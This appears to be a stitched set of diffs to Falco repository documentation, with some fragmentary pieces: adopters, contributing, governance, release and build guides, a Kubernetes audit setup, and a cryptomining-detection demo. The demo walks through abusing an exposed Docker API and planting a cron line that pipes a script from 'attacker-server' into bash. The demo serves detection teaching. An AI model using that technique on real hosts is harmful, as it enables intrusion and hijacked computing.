 # Adopters
 
-Known end users with notable contributions to the project include:
-* AWS
-* IBM
-* Red Hat
-
-Falco is being used by numerous other companies, both large and small, to build higher layer products and services. The list includes but is not limited to:
-* Equinix Metal
-* IEEE
-* Lowes
-* Reckrut
-* Yellow Pepper
-* CTx
-* Utikal
-* Discrete Events
-* Agritech Infra
-
 This is a list of production adopters of Falco (in alphabetical order):
 
-* [ASAPP](https://www.asapp.com/) - ASAPP is a pushing the boundaries of fundamental artificial intelligence research. We apply our research into AI-Native® products that make organizations, in the customer experience industry, highly productive, efficient, and effective—by augmenting human activity and automating workflows. We constantly monitor our workloads against different hazards and FALCO helps us extend our threat monitoring boundaries.
-
 * [Booz Allen Hamilton](https://www.boozallen.com/) - BAH leverages Falco as part of their Kubernetes environment to verify that work loads behave as they did in their CD DevSecOps pipelines. BAH offers a solution to internal developers to easily build DevSecOps pipelines for projects. This makes it easy for developers to incorporate Security principles early on in the development cycle. In production, Falco is used to verify that the code the developer ships does not violate any of the production security requirements. BAH [are speaking at Kubecon NA 2019](https://kccncna19.sched.com/event/UaWr/building-reusable-devsecops-pipelines-on-a-secure-kubernetes-platform-steven-terrana-booz-allen-hamilton-michael-ducy-sysdig) on their use of Falco.
 
 * [Coveo](https://www.coveo.com/) - Coveo stitches together content and data, learning from every interaction, to tailor every experience using AI to drive growth, satisfy customers and develop employee proficiency. All Falco events are centralized in our SIEM for analysis. Understanding what is running on production servers, and the context around why things are running is even more tricky now that we have further abstractions with containers and orchestration systems. Falco is giving us a good visibility inside containers and complement other Host and Network Intrusion Detection Systems. In a near future, we expect to deploy serverless functions to take action when Falco identifies patterns worth taking action for.
 
-* [Fairwinds](https://fairwinds.com/) - [Fairwinds Insights](https://fairwinds.com/insights), Kubernetes governance software, integrates Falco to offer a single pane of glass view into potential security incidents. Insights adds out-of-the-box integrations and rules filter to reduce alert fatigue and improve security response. The platform adds security prevention, detection, and response capabilities to your existing Kubernetes infrastructure. Security and DevOps teams benefit from a centralized view of container security vulnerability scanning and runtime container security.
-
 * [Frame.io](https://frame.io/) - Frame.io is a cloud-based (SaaS) video review and collaboration platform that enables users to securely upload source media, work-in-progress edits, dailies, and more into private workspaces where they can invite their team and clients to collaborate on projects. Understanding what is running on production servers, and the context around why things are running is even more tricky now that we have further abstractions like Docker and Kubernetes. To get this needed visibility into our system, we rely on Falco. Falco's ability to collect raw system calls such as open, connect, exec, along with their arguments offer key insights on what is happening on the production system and became the foundation of our intrusion detection and alerting system.
 
-* [Giant Swarm](https://www.giantswarm.io/) - Giant Swarm manages Kubernetes clusters and infrastructure for enterprises across multiple cloud providers as well as several flavors of on-premises data centers. Our platform provisions and monitors pure "vanilla" Kubernetes clusters which can be augmented with managed solutions to many common Kubernetes challenges, including security. We use Falco for anomaly detection as part of our collection of entirely open-source tools for securing our own clusters, and offer the same capabilities to our customers as part of our [managed security offering](https://docs.giantswarm.io/app-platform/apps/security/).
+* [League](https://league.com/ca/) - League provides health benefits management services to help employees understand and get the most from their benefits, and employers to provide effective, efficient plans. Falco is used to monitor our deployed services on Kubernetes, protecting against malicious access to containerswhich could lead to leaks of PHI or other sensitive data. The Falco alerts are logged in Stackdriver for grouping and further analysis. In the future, we're hoping for integrations with Prometheus and AlertManager as well.
 
-* [GitLab](https://about.gitlab.com/direction/defend/container_host_security/) - GitLab is a complete DevOps platform, delivered as a single application, fundamentally changing the way Development, Security, and Ops teams collaborate. GitLab Ultimate provides the single tool teams need to find, triage, and fix vulnerabilities in applications, services, and cloud-native environments enabling them to manage their risk. This provides them with repeatable, defensible processes that automate security and compliance policies. GitLab includes a tight integration with Falco, allowing users to defend their containerized applications from attacks while running in production.
-
-* [gVisor](https://gvisor.dev/) - gVisor secures Kubernetes, containers, and workloads via an alternate execution environment that handles system calls in user space, blocking security issues before they reach the underlying host. gVisor provides defense-in-depth, protection against untrusted code execution, and a secure-by-default Kubernetes experience where containers are a security boundary. Falco can be used with gVisor to detect unusual or suspicious activity using its threat detection engine on top of gVisor runtime execution information.

The Falco alerts are logged in Stackdriver for grouping and further analysis. In the future, we're hoping for integrations with Prometheus and AlertManager as well.
-
-* [Logz.io](https://logz.io/) - Logz.io is a cloud observability platform for modern engineering teams. The Logz.io platform consists of three products — Log Management, Infrastructure Monitoring, and Cloud SIEM — that work together to unify the jobs of monitoring, troubleshooting, and security. We empower engineers to deliver better software by offering the world's most popular open source observability tools — the ELK Stack, Grafana, and Jaeger — in a single, easy to use, and powerful platform purpose-built for monitoring distributed cloud environments. Cloud SIEM supports data from multiple sources, including Falco's alerts, and offers useful rules and dashboards content to visualize and manage incidents across your systems in a unified UI.
-  * https://logz.io/blog/k8s-security-with-falco-and-cloud-siem/
-
-* [MathWorks](https://mathworks.com) - MathWorks develops mathematical computing software for engineers and scientists. MathWorks uses Falco for Kubernetes threat detection, unexpected application behavior, and maps Falco rules to their cloud infrastructure's security kill chain model. MathWorks presented their Falco use case at [KubeCon + CloudNativeCon North America 2020](https://www.youtube.com/watch?v=L-5RYBTV010).  
-
-* [Pocteo](https://pocteo.co) - Pocteo helps with Kubernetes adoption in enterprises by providing a variety of services such as training, consulting, auditing and mentoring. We build CI/CD pipelines the GitOps way, as well as design and run k8s clusters. Pocteo uses Falco as a runtime monitoring system to secure clients' workloads against suspicious behavior and ensure k8s pods immutability. We also use Falco to collect, process and act on security events through a response engine and serverless functions.

+*  [Sysdig](https://www.sysdig.com/) Sysdig originally created Falco in 2016 to detect unexpected or suspicious activity using a rules engine on top of the data that comes from the sysdig kernel system call probe. Sysdig provides tooling to help with vulnerability management, compliance, detection, incident response and forensics in Cloud-native environments. Sysdig Secure has extended falco to include: a rule library, the ability to update macros, lists & rules via the user interface and API, automated tuning of rules, and rule creation based on profiling known system behavior. On top of the basic Falco rules, Sysdig Secure implements the concept of a "Security policy" that can comprise several rules which are evaluated for a user-define infrastructure scope like Kubernetes namespaces, OpenShift clusters, deployment workload, cloud regions etc.
 
-* [Shapesecurity/F5](https://www.shapesecurity.com/) Shapesecurity defends against application fraud attacks like Account Take Over, Credential Stuffing, Fake Accounts, etc. Required by FedRamp certification, we needed to find a FIM solution to help monitor and protect our Kubernetes clusters. Traditional FIM solutions were not scalable and not working for our environment, but with Falco we found the solution we needed. Falco's detection capabilities have helped us identify anomalous behaviour within our clusters. We leverage Sidekick (https://github.com/falcosecurity/charts/tree/master/falcosidekick) to send Falco alerts to a PubSub which in turn publishes those alerts to our SIEM (SumoLogic)
-
-* [Yahoo! JAPAN](https://www.yahoo.co.jp/) Yahoo! JAPAN is a leading company of internet in Japan. We build an AI Platform in our private cloud and provide it to scientists in our company. AI Platform is a multi-tenant Kubernetes environment and more flexible, faster, more efficient Machine Learning environment. Falco is used to detect unauthorized commands and malicious access and our AI Platform is monitored and alerted by Falco.

-## Projects that use Falco libs
-
-* [R6/Phoenix](https://r6security.com/) is an attack surface protection company that uses moving target defense to provide fully automated, proactive and devops friendly security to its customers. There are a set of policies you can add to enable the moving target defense capabilities. Some of them are triggered by a combination of Falco's findings. You can kill, restart and rename pods according to the ever changing policies.
-
-* [SysFlow](https://sysflow.io) SysFlow is a cloud-native system telemetry framework that focuses on data abstraction, behavioral analytics, and noise reduction. At its core, SysFlow exposes a compact open telemetry format that records workload behaviors by connecting event and flow representations of process control flows, file interactions, and network communications. The resulting abstraction encodes a graph structure that enables provenance reasoning on host and container environments, and fast retrieval of security-relevant information.
-
-* [StackRox](https://stackrox.io) is the industry’s first Kubernetes-native security platform enabling organizations to build, deploy, and run cloud-native applications securely. The platform works with Kubernetes environments and integrates with DevOps and security tools, enabling teams to operationalize and secure their supply chain, infrastructure, and workloads. StackRox aims to harness containerized applications’ development speed while giving operations and security teams greater context and risk profiling. StackRox leverages cloud-native principles and declarative artifacts to automate DevSecOps best practices.

+* Personal attacks
+* Trolling or insulting/derogatory comments
+* Public or private harassment
+* Publishing other's private information, such as physical or electronic addresses,
+ without explicit permission
+* Other unethical or unprofessional conduct.
+
+Project maintainers have the right and responsibility to remove, edit, or reject
+comments, commits, code, wiki edits, issues, and other contributions that are not
+aligned to this Code of Conduct. By adopting this Code of Conduct, project maintainers
+commit themselves to fairly and consistently applying these principles to every aspect
+of managing this project. Project maintainers who do not follow or enforce the Code of
+Conduct may be permanently removed from the project team.
+

+## Code of Conduct
+
+Falco has a
+[Code of Conduct](CODE_OF_CONDUCT.md)
+to which all contributors must adhere, please read it before interacting with the repository or the community in any way.
+
+## Issues
+
+Issues are the heartbeat ❤️ of the Falco project, there are mainly three kinds of issues you can open:
+
+- Bug report: you believe you found a problem in Falco and you want to discuss and get it fixed,
+creating an issue with the **bug report template** is the best way to do so.
+- Enhancement: any kind of new feature need to be discussed in this kind of issue, do you want a new rule or a new feature? This is the kind of issue you want to open. Be very good at explaining your intent, it's always important that others can understand what you mean in order to discuss, be open and collaborative in letting others help you getting this done!
+- Failing tests: you noticed a flaky test or a problem with a build? This is the kind of issue to triage that!
+
+The best way to get **involved** in the project is through issues, you can help in many ways:
+
+- Issues triaging: participating in the discussion and adding details to open issues is always a good thing,
+sometimes issues need to be verified, you could be the one writing a test case to fix a bug!
+- Helping to resolve the issue: you can help in getting it fixed in many ways, more often by opening a pull request.
+
+### Triage issues
+
+We need help in categorizing issues. Thus any help is welcome!
+
+When you triage an issue, you:
+
+* assess whether it has merit or not
+
+* quickly close it by correctly answering a question
+
+* point the reporter to a resource or documentation answering the issue
+
+* tag it via labels, projects, or milestones
+
+* take ownership submitting a PR for it, in case you want 😇
+
+#### More about labels
+
+These guidelines are not set in stone and are subject to change.
+
+Anyway a `kind/*` label for any issue is mandatory.
+
+This is the current [label set](https://github.com/falcosecurity/falco/labels) we have.
+
+You can use commands - eg., `/label <some-label>` to add (or remove) labels or manually do it.
+
+The commands available are the following ones:
+
+```
+/[remove-](area|kind|priority|triage|label)
+```
+
+Some examples:
+
+* `/area rules`
+* `/remove-area rules`
+* `/kind kernel-module`
+* `/label good-first-issue`
+* `/triage duplicate`
+* `/triage unresolved`
+* `/triage not-reproducible`
+* `/triage support`
+* ...
+
+### Slack
+
+Other discussion, and **support requests** should go through the `#falco` channel in the open source slack, please join [here](https://slack.sysdig.com).
+
+## Pull Requests
+
+Thanks for taking time to make a [pull request](https://help.github.com/articles/about-pull-requests) (hereafter PR).
+
+In the PR body, feel free to add an area label if appropriate by typing `/area <AREA>`, PRs will also
+need a kind, make sure to specify the appropriate one by typing `/kind <KIND>`.
+
+The list of labels is [here](https://github.com/falcosecurity/falco/labels).
+
+Also feel free to suggest a reviewer with `/cc @theirname`, or to assign an assignee using `/assign @nickname`.
+
+Once your reviewer is happy, they will say `/lgtm` which will apply the
+`lgtm` label, and will apply the `approved` label if they are an
+[owner](/OWNERS).
+
+Your PR will be automatically merged once it has the `lgtm` and `approved`
+labels, does not have any `do-not-merge/*` labels, and all status checks (eg., rebase, tests, DCO) are positive.
+
+### Commit convention
+
+As commit convention, we adopt [Conventional Commits v1.0.0](https://www.conventionalcommits.org/en/v1.0.0/), we have an history
+of commits that do not adopt the convention but any new commit must follow it to be eligible for merge.
+
+#### Rule type
+
+Besides the classic types, we adopt a type for rules, `rule(<scope>):`.
+Example:
+
+```
+rule(Write below monitored dir): make sure monitored dirs are monitored.
+```
+
+Each rule change must be on its own commit, if a change to a macro is done while changing a rule they can go together but only one rule per commit must happen.
+
+If you are changing only a macro, the commit will look like this:
+
+```
+rule(macro user_known_write_monitored_dir_conditions): make sure conditions are great
+```
+
+## Coding Guidelines
+
+### C++
+
+* File `userspace/engine/banned.h` defines some functions as invalid tokens. These functions are not allowed to be used in the codebase. Whenever creating a new cpp file, include the `"banned.h"` headers. This ensures that the banned functions are not compiled.
+
+  A complete list of banned functions can be found [here](./userspace/engine/banned.h).
+
+## Developer Certificate Of Origin
+
+The [Developer Certificate of Origin (DCO)](https://developercertificate.org/) is a lightweight way for contributors to certify that they wrote or otherwise have the right to submit the code they are contributing to the project.
+
+Contributors to the Falco project sign-off that they adhere to these requirements by adding a `Signed-off-by` line to commit messages.
+
+```
+This is my commit message
+
+Signed-off-by: John Poiana <jpoiana@falco.org>
+```
+
+Git even has a `-s` command line option to append this automatically to your commit message:
+
+```
+$ git commit -s -m 'This is my commit message'

+# Process for becoming a maintainer
+
+* Express interest to the existing maintainers that you or your organization is interested in becoming a
+  maintainer. Becoming a maintainer generally means that you are going to be spending substantial
+  time (>25%) on Falco for the foreseeable future. You should have domain expertise and be extremely
+  proficient in C++. Ultimately your goal is to become a maintainer that will represent your
+  organization.
+* We will expect you to start contributing increasingly complicated PRs, under the guidance
+  of the existing maintainers.
+* We may ask you to do some PRs from our backlog.
+* As you gain experience with the code base and our standards, we will ask you to do code reviews
+  for incoming PRs (i.e., all maintainers are expected to shoulder a proportional share of
+  community reviews).
+* After a period of approximately 2-3 months of working together and making sure we see eye to eye,
+  the existing maintainers will confer and decide whether to grant maintainer status or not.
+  We make no guarantees on the length of time this will take, but 2-3 months is the approximate
+  goal.
+
+## Maintainer responsibilities
+
+* Monitor Slack (delayed response is perfectly acceptable).
+* Triage GitHub issues and perform pull request reviews for other maintainers and the community.
+* During GitHub issue triage, apply all applicable [labels](https://github.com/falcosecurity/falco/labels)
+  to each new issue. Labels are extremely useful for future issue follow up. Which labels to apply
+  is somewhat subjective so just use your best judgment.
+* Make sure that ongoing PRs are moving forward at the right pace or closing them.
+* Participate when called upon in the security releases. Note that although this should be a rare
+  occurrence, if a serious vulnerability is found, the process may take up to several full days of
+  work to implement. This reality should be taken into account when discussing time commitment
+  obligations with employers.
+* In general continue to be willing to spend at least 25% of ones time working on Falco (~1.25
+  business days per week).
+
+## When does a maintainer lose maintainer status
+
+If a maintainer is no longer interested or cannot perform the maintainer duties listed above, they
+should volunteer to be moved to emeritus status. In extreme cases this can also occur by a vote of
+the maintainers per the voting process below.
+
+# Conflict resolution and voting
+
+In general, we prefer that technical issues and maintainer membership are amicably worked out
+between the persons involved. If a dispute cannot be decided independently, the maintainers can be
+called in to decide an issue. If the maintainers themselves cannot decide an issue, the issue will
+be resolved by voting. The voting process is a simple majority in which each senior maintainer
+receives two votes and each normal maintainer receives one vote.
+
+# Adding new projects to the falcosecurity GitHub organization
+
+New projects will be added to the falcosecurity organization via GitHub issue discussion in one of the
+existing projects in the organization. Once sufficient discussion has taken place (~3-5 business
+days but depending on the volume of conversation), the maintainers of *the project where the issue
+was opened* (since different projects in the organization may have different maintainers) will
+decide whether the new project should be added. See the section above on voting if the maintainers
+cannot easily decide.

-The Falco Project, originally created by [Sysdig](https://sysdig.com), is an incubating [CNCF](https://cncf.io) open source cloud native runtime security tool.
-Falco makes it easy to consume kernel events, and enrich those events with information from Kubernetes and the rest of the cloud native stack. 
-Falco can also be extended to other data sources by using plugins.
-Falco has a rich set of security rules specifically built for Kubernetes, Linux, and cloud-native.
-If a rule is violated in a system, Falco will send an alert notifying the user of the violation and its severity.
+Falco is a behavioral activity monitor designed to detect anomalous activity in your applications. Falco audits a system at the most fundamental level, the kernel. Falco then enriches this data with other input streams such as container runtime metrics, and Kubernetes metrics. Falco lets you continuously monitor and detect container, application, host, and network activity—all in one place—from one source of data, with one set of rules.
 
-## What can Falco detect?
+Falco is hosted by the Cloud Native Computing Foundation (CNCF) as a sandbox level project. If you are an organization that wants to help shape the evolution of technologies that are container-packaged, dynamically-scheduled and microservices-oriented, consider joining the CNCF. For details read the [Falco CNCF project proposal](https://github.com/cncf/toc/tree/master/proposals/falco.adoc).
 
-Falco can detect and alert on any behavior that involves making Linux system calls.
-Falco alerts can be triggered by the use of specific system calls, their arguments, and by properties of the calling process.
-For example, Falco can easily detect incidents including but not limited to:
+#### What kind of behaviors can Falco detect?
 
-- A shell is running inside a container or pod in Kubernetes.
+Falco can detect and alert on any behavior that involves making Linux system calls. Falco alerts can be triggered by the use of specific system calls, their arguments, and by properties of the calling process. For example, Falco can easily detect incidents including but not limited to:
+
+- A shell is running inside a container.
 - A container is running in privileged mode, or is mounting a sensitive path, such as `/proc`, from the host.
 - A server process is spawning a child process of an unexpected type.
 - Unexpected read of a sensitive file, such as `/etc/shadow`.
 - A non-device file is written to `/dev`.
 - A standard system binary, such as `ls`, is making an outbound network connection.
-- A privileged pod is started in a Kubernetes cluster.

-## Developing
-
-Falco is designed to be extensible such that it can be built into cloud-native applications and infrastructure.
-
-Falco has a [gRPC](https://falco.org/docs/grpc/) endpoint and an API defined in [protobuf](https://github.com/falcosecurity/falco/blob/master/userspace/falco/outputs.proto).
-The Falco Project supports various SDKs for this endpoint.
-
-### SDKs
-
-| Language | Repository                                              |
-|----------|---------------------------------------------------------|
-| Go       | [client-go](https://github.com/falcosecurity/client-go) |
-
-## Plugins
-
-Falco comes with a [plugin framework](https://falco.org/docs/plugins/) that extends it to potentially any cloud detection scenario. Plugins are shared libraries that conform to a documented API and allow for:
-
-- Adding new event sources that can be used in rules;
-- Adding the ability to define new fields and extract information from events.
-
-The Falco Project maintains [various plugins](https://github.com/falcosecurity/plugins) and provides SDKs for plugin development.

+
+Furthermore the comprehensive [installation guide](https://falco.org/docs/installation/) for Falco is available in the documentation website.
+
+#### How do you compare Falco with other security tools?
+
+One of the questions we often get when we talk about Falco is “How does Falco differ from other Linux security tools such as SELinux, AppArmor, Auditd, etc.?”. We wrote a [blog post](https://sysdig.com/blog/selinux-seccomp-falco-technical-discussion/) comparing Falco with other tools.

+Releases happen on a monthly cadence, towards the 16th of the on-going month, and we need to assign owners for each (usually we pair a new person with an experienced one). Assignees and the due date are proposed during the [weekly community call](https://github.com/falcosecurity/community). Note that hotfix releases can happen as soon as it is needed.
 
 Finally, on the proposed due date the assignees for the upcoming release proceed with the processes described below.
 
 ## Pre-Release Checklist
 
-Before cutting a release we need to do some homework in the Falco repository. This should take 5 minutes using the GitHub UI.
-
 ### 1. Release notes
-- Find the previous release date (`YYYY-MM-DD`) by looking at the [Falco releases](https://github.com/falcosecurity/falco/releases)
-- Check the release note block of every PR matching the `is:pr is:merged closed:>YYYY-MM-DD` [filter](https://github.com/falcosecurity/falco/pulls?q=is%3Apr+is%3Amerged+closed%3A%3EYYYY-MM-DD)
-    - Ensure the release note block follows the [commit convention](https://github.com/falcosecurity/.github/blob/master/CONTRIBUTING.md#commit-convention), otherwise fix its content
+- Let `YYYY-MM-DD` the day before of the [latest release](https://github.com/falcosecurity/falco/releases)
+- Check the release note block of every PR matching the `is:pr is:merged closed:>YYY-MM-DD` [filter](https://github.com/falcosecurity/falco/pulls?q=is%3Apr+is%3Amerged+closed%3A%3EYYYY-MM-DD)
+    - Ensure the release note block follows the [commit convention](https://github.com/falcosecurity/falco/blob/master/CONTRIBUTING.md#commit-convention), otherwise fix its content
     - If the PR has no milestone, assign it to the milestone currently undergoing release
-- Check issues without a milestone (using `is:pr is:merged no:milestone closed:>YYYY-MM-DD` [filter](https://github.com/falcosecurity/falco/pulls?q=is%3Apr+is%3Amerged+no%3Amilestone+closed%3A%3EYYYY-MM-DD) ) and add them to the milestone currently undergoing release
-- Double-check that there are no more merged PRs without the target milestone assigned with the `is:pr is:merged no:milestone closed:>YYYY-MM-DD` [filter](https://github.com/falcosecurity/falco/pulls?q=is%3Apr+is%3Amerged+no%3Amilestone+closed%3A%3EYYYY-MM-DD), if any, update those missing
+- Check issues without a milestone (using [is:pr is:merged no:milestone closed:>YYYT-MM-DD](https://github.com/falcosecurity/falco/pulls?q=is%3Apr+is%3Amerged+no%3Amilestone+closed%3A%3EYYYT-MM-DD) filter) and add them to the milestone currently undergoing release
+- Double-check that there are no more merged PRs without the target milestone assigned with the `is:pr is:merged no:milestone closed:>YYYT-MM-DD` [filters](https://github.com/falcosecurity/falco/pulls?q=is%3Apr+is%3Amerged+no%3Amilestone+closed%3A%3EYYYT-MM-DD), if any, fix them
 
 ### 2. Milestones
-
 - Move the [tasks not completed](https://github.com/falcosecurity/falco/pulls?q=is%3Apr+is%3Aopen) to a new minor milestone
-
+- Close the completed milestone
+    
 ### 3. Release PR
 
 - Double-check if any hard-coded version number is present in the code, it should be not present anywhere:
     - If any, manually correct it then open an issue to automate version number bumping later
-    - Versions table in the `README.md` updates itself automatically
-- Generate the change log using [rn2md](https://github.com/leodido/rn2md):
-    - Execute `rn2md -o falcosecurity -m <version> -r falco`
-    - In case `rn2md` emits error try to generate an GitHub OAuth access token and provide it with the `-t` flag
-- Add the latest changes on top the previous `CHANGELOG.md`
+    - Versions table in the `README.md` update itself automatically
+- Generate the change log https://github.com/leodido/rn2md, or https://fs.fntlnz.wtf/falco/milestones-changelog.txt for the lazy people (it updates every 5 minutes) 
+- Add the lastest changes on top the previous `CHANGELOG.md`
 - Submit a PR with the above modifications
 - Await PR approval
-- Close the completed milestone as soon as the PR is merged

     To build Falco it needs:
-    - a bind-mount on the source directory (ie., the directory containing the Falco source as sibling)
+    - a bind-mount on the source directory (ie., the directory containing Falco and sysdig source as siblings)
 
     Optionally, you can also bind-mount the build directory.

-# Falco development image
-
-This docker image can be easily generated starting from a clean Falco build.
-
-## 1. Clone the Falco repo ⬇️
-
-```bash
-git clone https://github.com/falcosecurity/falco.git
-```
-
-## 2. Prepare the build directory 🏗️
-
-### `falco-runner-image` tag
-
-The CMake command that we will see in the next section builds Falco locally on your machine, and push it into a docker image, so as you may imagine the final image that will run Falco must have a similar `GLIBC` version to your local one. For this reason, you have to use docker tags.
-
-The `nodriver.Dockerfile` will use the `falco-runner-image` tag to build the final image as you can see here:
-
-```dockerfile
-FROM falco-runner-image AS runner
-
-...
-```
-
-For example, if I build Falco locally on a un `ubuntu:22-04` machine I will instruct docker to use `ubuntu:22-04` as a final running image.
-
-```bash
-docker tag ubuntu:22.04 falco-runner-image
-```
-
-In this way the `nodriver.Dockerfile` will use `ubuntu:22-04` during the building phase.
-
-### Cmake command
-
-Now that we set the `falco-runner-image` tag, we are ready to build our Falco image. Starting from the project root:
-
-```bash
-mkdir build && cd build
-cmake -DUSE_BUNDLED_DEPS=On -DCREATE_TEST_TARGETS=Off -DCPACK_GENERATOR=TGZ -DFALCO_ETC_DIR=/etc/falco ..
-make dev-docker
-```
-> __Please note__: These cmake options `-DUSE_BUNDLED_DEPS=On -DCREATE_TEST_TARGETS=Off -DCPACK_GENERATOR=TGZ -DFALCO_ETC_DIR=/etc/falco` are the required ones but you can provide additional options to build the image according to your needs (for example you can pass `-DMINIMAL_BUILD=On` if you want a minimal build image or `-DBUILD_FALCO_MODERN_BPF=ON` if you want to include the modern bpf probe inside the image)
-
-## 3. Run the docker image locally 🏎️
-
-```bash
-docker run --rm -i -t \
-           --privileged \
-           -v /var/run/docker.sock:/host/var/run/docker.sock \
-           -v /dev:/host/dev \
-           -v /proc:/host/proc:ro \
-           falco-nodriver-dev
-```
-
-If you change something in the Falco source code you can simply rebuild the image with:
-
-```bash
-make dev-docker
-```

+# Demo of Falco Detecting Cryptomining Exploit
+
+## Introduction
+
+Based on a [blog post](https://sysdig.com/blog/detecting-cryptojacking/) we wrote, this example shows how an overly permissive container environment can be exploited to install cryptomining software and how use of the exploit can be detected using Falco.
+
+Although the exploit in the blog post involved modifying the cron configuration on the host filesystem, in this example we keep the host filesystem untouched. Instead, we have a container play the role of the "host", and set up everything using [docker-compose](https://docs.docker.com/compose/) and [docker-in-docker](https://hub.docker.com/_/docker/).
+
+## Requirements
+
+In order to run this example, you need Docker Engine >= 1.13.0 and docker-compose >= 1.10.0, as well as curl.
+
+## Example architecture
+
+The example consists of the following:
+
+* `host-machine`: A docker-in-docker instance that plays the role of the host machine. It runs a cron daemon and an independent copy of the docker daemon that listens on port 2375. This port is exposed to the world, and this port is what the attacker will use to install new software on the host.
+* `attacker-server`: A nginx instance that serves the malicious files and scripts using by the attacker.
+* `falco`: A Falco instance to detect the suspicious activity. It connects to the docker daemon on `host-machine` to fetch container information.
+
+All of the above are configured in the docker-compose file [demo.yml](./demo.yml).
+
+A separate container is created to launch the attack:
+
+* `docker123321-mysql` An [alpine](https://hub.docker.com/_/alpine/) container that mounts /etc from `host-machine` into /mnt/etc within the container. The json container description is in the file [docker123321-mysql-container.json](./docker123321-mysql-container.json).
+
+## Example Walkthrough
+
+### Start everything using docker-compose
+
+To make sure you're starting from scratch, first run `docker-compose -f demo.yml down -v` to remove any existing containers, volumes, etc.
+
+Then run `docker-compose -f demo.yml up --build` to create the `host-machine`, `attacker-server`, and `falco` containers.
+
+You will see fairly verbose output from dockerd:
+
+```
+host-machine_1     | crond: crond (busybox 1.27.2) started, log level 6
+host-machine_1     | time="2018-03-15T15:59:51Z" level=info msg="starting containerd" module=containerd revision=9b55aab90508bd389d7654c4baf173a981477d55 version=v1.0.1
+host-machine_1     | time="2018-03-15T15:59:51Z" level=info msg="loading plugin "io.containerd.content.v1.content"..." module=containerd type=io.containerd.content.v1
+host-machine_1     | time="2018-03-15T15:59:51Z" level=info msg="loading plugin "io.containerd.snapshotter.v1.btrfs"..." module=containerd type=io.containerd.snapshotter.v1
+```
+
+When you see log output like the following, you know that falco is started and ready:
+
+```
+falco_1            | Wed Mar 14 22:37:12 2018: Falco initialized with configuration file /etc/falco/falco.yaml
+falco_1            | Wed Mar 14 22:37:12 2018: Parsed rules from file /etc/falco/falco_rules.yaml
+falco_1            | Wed Mar 14 22:37:12 2018: Parsed rules from file /etc/falco/falco_rules.local.yaml
+```
+
+### Launch malicious container
+
+To launch the malicious container, we will connect to the docker instance running in `host-machine`, which has exposed port 2375 to the world. We create and start a container via direct use of the docker API (although you can do the same via `docker run -H http://localhost:2375 ...`.
+
+The script `launch_malicious_container.sh` performs the necessary POSTs:
+
+* `http://localhost:2375/images/create?fromImage=alpine&tag=latest`
+* `http://localhost:2375/containers/create?&name=docker123321-mysql`
+* `http://localhost:2375/containers/docker123321-mysql/start`
+
+Run the script via `bash launch_malicious_container.sh`.
+
+### Examine cron output as malicious software is installed & run
+
+`docker123321-mysql` writes the following line to `/mnt/etc/crontabs/root`, which corresponds to `/etc/crontabs/root` on the host:
+
+```
+* * * * * curl -s http://attacker-server:8220/logo3.jpg | bash -s
+```
+
+It also touches the file `/mnt/etc/crontabs/cron.update`, which corresponds to `/etc/crontabs/cron/update` on the host, to force cron to re-read its cron configuration. This ensures that every minute, cron will download the script (disguised as [logo3.jpg](attacker_files/logo3.jpg))  from `attacker-server` and run it.
+
+You can see `docker123321-mysql` running by checking the container list for the docker instance running in `host-machine` via `docker -H localhost:2375 ps`. You should see output like the following:
+
+```
+CONTAINER ID        IMAGE               COMMAND                  CREATED              STATUS              PORTS               NAMES
+68ed578bd034        alpine:latest       "/bin/sh -c 'echo '*…"   About a minute ago   Up About a minute                       docker123321-mysql
+```
+
+Once the cron job runs, you will see output like the following:
+
+```
+host-machine_1     | crond: USER root pid 187 cmd curl -s http://attacker-server:8220/logo3.jpg | bash -s
+host-machine_1     | ***Checking for existing Miner program

+host-machine_1     | /var/tmp
+host-machine_1     | runing.....
+```
+
+### Observe Falco detecting malicious activity
+
+To observe Falco detecting the malicious activity, you can look for `falco_1` lines in the output. Falco will detect the container launch with the sensitive mount:
+
+```
+falco_1            | 22:37:24.478583438: Informational Container with sensitive mount started (user=root command=runc:[1:CHILD] init docker123321-mysql (id=97587afcf89c) image=alpine:latest mounts=/etc:/mnt/etc::true:rprivate)
+falco_1            | 22:37:24.479565025: Informational Container with sensitive mount started (user=root command=sh -c echo '* * * * * curl -s http://attacker-server:8220/logo3.jpg | bash -s' >> /mnt/etc/crontabs/root && sleep 300 docker123321-mysql (id=97587afcf89c) image=alpine:latest mounts=/etc:/mnt/etc::true:rprivate)
+```
+
+### Cleanup
+
+To tear down the environment, stop the script using ctrl-C and remove everything using `docker-compose -f demo.yml down -v`.

+
+## Instructions for Kubernetes 1.11
+
+The main steps are:
+
+1. Deploy Falco to your Kubernetes cluster
+1. Define your audit policy and webhook configuration
+1. Restart the API Server to enable Audit Logging
+1. Observe Kubernetes audit events at falco
+
+### Deploy Falco to your Kubernetes cluster
+
+Follow the [Kubernetes Using Daemonset](../../integrations/k8s-using-daemonset/README.md) instructions to create a falco service account, service, configmap, and daemonset.
+
+### Define your audit policy and webhook configuration
+
+The files in this directory can be used to configure Kubernetes audit logging. The relevant files are:
+
+* [audit-policy.yaml](./audit-policy.yaml): The Kubernetes audit log configuration we used to create the rules in [k8s_audit_rules.yaml](../../rules/k8s_audit_rules.yaml).
+* [webhook-config.yaml.in](./webhook-config.yaml.in): A (templated) webhook configuration that sends audit events to an ip associated with the falco service, port 8765. It is templated in that the *actual* IP is defined in an environment variable `FALCO_SERVICE_CLUSTERIP`, which can be plugged in using a program like `envsubst`.
+
+Run the following to fill in the template file with the `ClusterIP` IP address you created with the `falco-service` service above. Although services like `falco-service.default.svc.cluster.local` can not be resolved from the kube-apiserver container within the minikube vm (they're run as pods but not *really* a part of the cluster), the `ClusterIP`s associated with those services are routable.
+
+```
+FALCO_SERVICE_CLUSTERIP=$(kubectl get service falco-service -o=jsonpath={.spec.clusterIP}) envsubst < webhook-config.yaml.in > webhook-config.yaml
+```
+
+### Restart the API Server to enable Audit Logging
+
+A script [enable-k8s-audit.sh](./enable-k8s-audit.sh) performs the necessary steps of enabling audit log support for the apiserver, including copying the audit policy/webhook files to the apiserver machine, modifying the apiserver command line to add `--audit-log-path`, `--audit-policy-file`, etc. arguments, etc. (For minikube, ideally you'd be able to pass all these options directly on the `minikube start` command line, but manual patching is necessary. See [this issue](https://github.com/kubernetes/minikube/issues/2741) for more details.)
+
+It is run as `bash ./enable-k8s-audit.sh <variant> static`. `<variant>` can be one of the following:
+
+* `minikube`
+* `kops`
+
+When running with `variant` equal to `kops`, you must either modify the script to specify the kops apiserver hostname or set it via the environment: `APISERVER_HOST=api.my-kops-cluster.com bash ./enable-k8s-audit.sh kops`
+
+Its output looks like this:
+
+```
